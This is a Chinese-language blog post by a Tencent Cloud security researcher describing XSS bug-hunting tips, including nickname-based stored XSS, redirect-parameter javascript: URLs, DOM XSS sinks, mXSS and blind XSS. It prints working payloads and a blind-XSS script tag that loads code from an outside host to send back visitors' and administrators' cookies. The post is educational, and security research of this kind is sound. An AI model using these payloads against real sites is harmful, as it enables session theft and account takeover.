作者 | 張祖優(Fooying) ?騰訊云 云鼎實驗室
對于XSS的漏洞挖掘過程,其實就是一個使用Payload不斷測試和調整再測試的過程,這個過程我們把它叫做Fuzzing;同樣是Fuzzing,有些人挖洞比較高效,有些人卻不那么容易挖出漏洞,除了掌握的技術之外,比如編碼的繞過處理等,還包含一些技巧性的東西,掌握一些技巧和規律,可以使得挖洞會更加從容。
XSS應該是我挖過的最多漏洞的一種Web漏洞類型,累積下來,就國內BAT、金山、新浪、網易等這些互聯網公司的XSS,應該至少也有超過100個,這篇文章主要就是根據自己的一些經驗與大家一起探討編碼繞過、處理等技術因素之外的XSS Fuzzing的一些技巧。
Fuzzing(模糊測試)是挖掘漏洞最常用的手段之一,不止是XSS,應該可以說Fuzzing可以用于大部分類型的漏洞挖掘。通俗可以把這種方式理解為不斷嘗試的過程。
XSS的Fuzzing流程
這是一個比較常規的Web漏掃中XSS檢測插件的一個流程圖,其中比較關鍵的幾個點在于:
- 檢測輸入點
- 潛在注入點檢測
- 生成Payload
- Payload攻擊驗證
檢測輸入點其實就是尋找數據入口,比如說GET/POST數據,或者Header頭部里的UA/Referer/Cookie,再或者URL路徑等等,這些都可以成為輸入入口,轉換為比較形象點的說法,比如看到一個搜索框,你可能會在搜索框里提交關鍵詞進行搜索,那么這里可能就發生了一個GET或者POST請求,這里其實就是一個輸入點。
其次是潛在注入點檢測,潛在注入的檢測是判斷輸入點是否可以成功把數據注入到頁面內容,對于提交數據內容但是不輸出到頁面的輸入點是沒有必要進行Fuzzing的,因為即使可以提交攻擊代碼,也不會產生XSS;在潛在注入點的檢測通常使用的是一個隨機字符串,比如隨機6位數字,再判斷這6位數字是否返回輸出在頁面,以此來進行判斷。為什么不直接使用Payload進行判斷呢?因為Payload里包含了攻擊代碼,通常很多應用都有防火墻或者過濾機制,Payload中的關鍵詞會被攔截導致提交失敗或者不會返回輸出在頁面,但這種情況不代表不能XSS,因為有可能只是Payload不夠好,沒有繞過過濾或者其他安全機制,所以采用無害的隨機數字字符就可以避免這種情況產生,先驗證可注入,再調整Payload去繞過過濾;而隨機的目的在于不希望固定字符成為XSS防御黑名單里的關鍵詞。
再者就是生成Payload和進行攻擊驗證的過程,Payload的好壞決定了攻擊是否可以成功;而對于不同情況的注入點,需要使用的Payload也是不同的,比如,注入的位置在標簽屬性中還是標簽事件中,使用的Payload是不同的;
標簽屬性中:如<a href="注入位置">test</a>,Payload:"></a><script>alert(0)</script><a href=" 標簽事件中:<img href="a.jpg" onload="注入位置">, Payload:alert(0)
其實Payload的生成就是一個不斷Fuzzing和不斷調整的過程,根據注入位置上下文代碼的結構、內容以及應用過濾機制等不斷調整和不斷提交測試的過程,下圖是一個Payload的生成流程。
那么假如某次Payload調整后Fuzzing成功,也就意味XSS注入成功,并得出這個漏洞的PoC。
其實為什么一開始就介紹下掃描器常規的XSS檢測方式呢?因為手工Fuzzing XSS其實也是這樣一個過程,很多安全工具其實就是將手工的過程自動化。
接下來進入正題我們一起探討一些XSS的挖掘技巧。
不一樣的昵稱
這是一個微信網頁版的存儲型XSS,注入點是微信昵稱的位置(右圖),通過訪問微信群成員列表可以觸發XSS導致彈框。
這是微信某個春節搖一搖活動的XSS(這里是生效了<h1>
),通過微信訪問活動頁面,自動授權后獲取微信昵稱并自動顯示在活動頁面,當時微信昵稱是:<h1>張祖優(Fooying)";alert(0)//
,由于<h1>
生效,導致昵稱顯示變大。
這仍然是騰訊某個產品的活動頁面,也是通過微信點擊自動獲取昵稱然后在活動頁面顯示,這個截圖的頁面鏈接實際是:http://tdf.qq.com/mobile/index2.html?name=<a href="http://www.fooying.com">點擊抽獎</a>&type=share&from=timeline&isappinstalled=1
(相當于當時我的昵稱是:<a href="http://www.fooying.com">點擊抽獎</a>
)
這也是一個微信網頁版存儲型XSS,注入點同樣是在昵稱,通過訪問通訊錄可以觸發XSS,觸發的昵稱大概是:<img src=0 onerror=alert(5)>
。
看了幾個漏洞,再給大家看看我之前的QQ昵稱和微信昵稱:
其中右圖的昵稱是<h1>張祖優(Fooying)";alert(0)//
。
看了上面的例子,我想大家已經可以發現,前面的幾個XSS其實都是基本通過昵稱的位置提交攻擊代碼導致了XSS的產生,這其實就是一種XSS被動挖掘的技巧。其實漏洞挖掘,特別是XSS,有時候是靠主動挖掘,但更多的時候也可以通過被動的方式發現,特別是類似QQ、微信這種一號多用的情況,可以想象你的微信昵稱、QQ昵稱或者簽名等,在不同的應用、網頁中登錄,你的昵稱就會在不同的地方顯示,這些昵稱在微信、QQ本身不會導致問題的產生,但到了其他頁面呢?也許就會導致問題的產生。
當然,現在微信應不允許設置含有特殊字符的昵稱了,而QQ大家也可以看到,對尖括號進行了轉義,不過在這之前,單單就微信昵稱,通過這種方式,我起碼發現了騰訊以及非騰訊的各種朋友圈中的活動的不下于二十個XSS。
網址跳轉中的規律
這是一個13年提交的騰訊云登錄跳轉的XSS。
前一段時間雷鋒網有對我做了一個采訪,這篇文章也發在KM上,不知道大家有沒有看到其中有一個細節,講的是我為了哄女朋友開心,然后挖洞收集公仔,當時其實我是在兩天內挖洞十幾個洞,并且都是XSS。可能大家就會好奇為什么能一下子挖洞那么多的洞,還是不同廠商的,我現在能記得的有YY、4399、搜狐暢游等,其實是當時找到一個規律,上圖中騰訊云的這個XSS也屬于這個規律,所以就專門提出來。
登錄和注冊是大部分網站的必備功能,而不知道大家有沒有注意到一個細節,當你在未登錄狀態下訪問一些需要需要登錄態的頁面,比如個人中心,他會自動跳轉到登錄或者注冊頁面要求你登錄,然后這個時候的登錄URL其實會帶有一個跳轉URL,這是為了方便你登錄后直接跳轉到你原來訪問的頁面,是一個比較好的用戶體驗的設計。
在使用這樣的功能的時候,我直接手上嘗試,直接把跳轉的URL修改為我的博客鏈接,然后再登錄,發現可以直接跳轉到我的博客,于是我再嘗試了javascript%3Aalert(0),發現JS代碼可以直接執行并彈了個框。這個功能的設計其實原來是進行站內的跳轉,但是由于功能設計上的缺陷,沒有對跳轉的URL進行判斷或者判斷有問題,于是可以導致直接跳轉到其他網站或者產生XSS。當然,不止是登錄,注冊功能也存在同樣問題。當時我去測試了很多網站,發現很多網站就存在這樣的問題,于是我才可以做到連續去挖不同網站的漏洞來收集公仔,就是用了同樣的一個問題。
http://www.xxx.com/login?url=xxx
http://www.xxx.com/reg?url=xxx
而整體的測試流程大概是這樣的:
#號里的秘密
這是之前騰訊云官網的一個DOM XSS
這是之前微信國外版官網的一處 DOM XSS
這是之前ent.qq.com域下的一個DOM XSS,這里應該是實現一個頁面訪問來源統計的功能,將referer拼接到URL通過img加載的方式發起GET請求以此向服務端發送訪問來源URL,黑客可以構造地址為http://www.0xsafe.com" onerror="alert(0)
?的頁面點擊鏈接跳轉到?http://datalib.ent.qq.com/tv/3362/detail.shtml
,就可以觸發XSS。
這是比較早提交的一個游戲igame.qq.com的DOM XSS,這處的XSS正好當時保存下JS,如下,讀取window.location然后寫入到ID為output的標簽代碼里,于是導致XSS的產生。
<script language="JavaScript"> document.domain="qq.com"; function pageLoaded(){ window.parent.dhtmlHistory.iframeLoaded(window.location); document.getElementById("output").innerHTML = window.location; } </script>
這類XSS都是DOM XSS,DOM XSS不同于其他類型的XSS,XSS的產生是由于頁面中的JS代碼在頁面渲染完成后通過讀取URL等內容修改頁面DOM樹而產生的XSS。
其實不難可以發現,這類XSS在大部分情況下也是有一些技巧可言的,比如大家可以發現網址中都存在#(DOM XSS不是一定URL得存在#,只是這種情況比較常見);那么是不是見到網址中存在#就可以隨便去修改#后面的內容就Fuzzing一通呢?當然不是,還需要去判斷頁面的源碼中的JS代碼以及頁面引用的JS文件的代碼中是否存在對以下內容的使用,是否存在沒有過濾或者過濾不全的情況下將以下的內容直接輸入到DOM樹里。
document.location/location
document.URL
document.URLUnencoded
deddocument.referrer
window.location
被改變的內容
一旦有存在以上的情況,那么往往存在DOM XSS的概率就比較大,接下來就是看看能不能繞過相關的過濾和安全機制的處理。
這是之前挖的一個存在于以前PC 版本QQ的網頁預覽功能的一個XSS;通過在聊天窗口分享文章,然后點擊鏈接會在右側打開頁面顯示文章的內容,會導致XSS的產生。
為什么在客戶端里也會存在XSS?其實很多客戶端,包括現在很多手機APP,很多功能都是通過內嵌網頁進行實現的,于是也就為什么會存在XSS等前端問題。這些網頁可以通過設置代理的方式來發現。
這是一篇發表在博客園的文章,文章里包含一些XSS的攻擊代碼,但是可以發現代碼在博客園本身已經被進行了轉義,沒法產生XSS。
而文章被在QQ中預覽的時候,可以發現,被轉義的攻擊代碼又轉義了回來(因為這個功能需要只顯示文本內容,而刪除一些沒必要的頁面框架、內容的顯示,所有對內容有做了一些轉碼等操作),導致的攻擊代碼的生效,并由此產生了XSS(其實這類XSS叫做mXSS,突變型XSS)。
這是一篇發表在微信公眾號的文章,文章中包含了一些XSS盲打(后面會進行介紹)的攻擊代碼,然后可以看到,在微信公眾號文章里代碼被進行了轉義,而無法生效產生XSS。
chuansong.me是一個第三方網站,會主動采集微信公眾號上的一些文章并生成訪問鏈接和索引,可以看到同樣的一篇文章在被傳送門采集轉載后,本來會被轉義的代碼直接生效了,于是就成為了存儲型XSS,我們通過盲打平臺也可以看到其他用戶訪問這篇文章而被采集并發送到盲打平臺的Cookie。
有的時候,被轉義的內容也會成為生效的攻擊代碼,通過控制源頭的方式也可以使得XSS的攻擊產生。
隨手進行的XSS盲打
這是我XSS盲打平臺項目的其中一頁結果截圖,這里的每一項都包含對應網址訪問用戶的Cookie,而Cookie則可以用來直接登錄對應的地址;在圖里包含了360 soso、360游戲客服、新浪郵箱等幾個網站的后臺的Cookie,不過可惜的是,由于這些平臺進行了訪問限制,所以外網無法訪問,也無法登錄。
拋開無法訪問的問題,那么這些信息是怎么得來了呢?XSS盲打。
常規的XSS攻擊是通過頁面返回內容中JS攻擊代碼的生效與否來判斷XSS的攻擊是否成功;而對于一些網頁功能,比如反饋,我們可以發現,不管你提交什么內容,返回的內容都是"感謝您的反饋"類似的語句,并不會根據你提交的內容而在頁面中顯示不同的內容,對于這樣的內容提交點,就無法通過頁面反饋判斷攻擊代碼是否注入成功,那么就可以通過XSS盲打。
XSS盲打一般通過XSS盲打平臺,在XSS盲打平臺建立項目,會生成項目攻擊鏈接,實際上就是一個類似JS文件的訪問鏈接,這個JS文件中其中至少包含一個功能,那就是向盲打平臺發送GET/POST請求傳輸數據回來,比如Cookie,這樣的話,類似在反饋頁面提交的攻擊代碼一旦生效,就等于JS代碼被執行,那么就會向盲打平臺返回數據,那就說明攻擊成功了;假如一直沒有返回數據,那就說明提交的攻擊代碼沒有執行或者執行出問題,也就證明攻擊失敗。
盲打平臺的項目:
對于我而言,看到類似下圖這樣一個內容提交的地方,我都會忍不住提交盲打代碼
</textarea>'"><script src=http://t.cn/R6qRcps></script>
而類似于這樣的功能,如果存在XSS,一般會在什么地方什么時候出發攻擊代碼呢?管理人員在后臺審核這些內容的時候,所以說一般XSS盲打如果成功,往往可以獲得對應功能管理后臺的地址以及管理員的Cookie,假如管理后臺沒有做訪問的限制,就能用對應管理員的Cookie登錄上去。
這就是上圖手游客服中心盲打成功得到的后臺地址和Cookie(當前已失效并修復)。
總結
在XSS的世界里有很多的Fuzzing技巧和方式,學會從正常功能中發現攻擊方式,在Web安全的世界里,除了技術,還需要猥瑣的思維和技巧。
另外,其實大家不難發現,不管是昵稱、網址跳轉或者是文章提到的內容轉義的變化也好,很多時候內容原有的地方并不會觸發XSS,而內容在其他地方使用后則就觸發了XSS,所以對于開發人員來說,不管是來自哪里的內容,都應該有自己的過濾機制,而不能完全的信任,其實總結一句話就是:任何的輸入都是有害的!
?
相關閱讀:
MySQL成勒索新目標,數據服務基線安全問題迫在眉睫
一篇文章帶你看懂Cloudflare信息泄露事件
新增線下、APP、公眾號多處入口,小程序會再火起來么?(內有福利)
此文已由作者授權騰訊云技術社區發布,轉載請注明文章出處,
原文鏈接?https://www.qcloud.com/community/article/172258001490259493,
獲取更多云計算技術干貨,可請前往騰訊云技術社區,歡迎大家關注騰訊云技術社區-博客園官方主頁,我們將持續在博客園為大家推薦技術精品文章哦~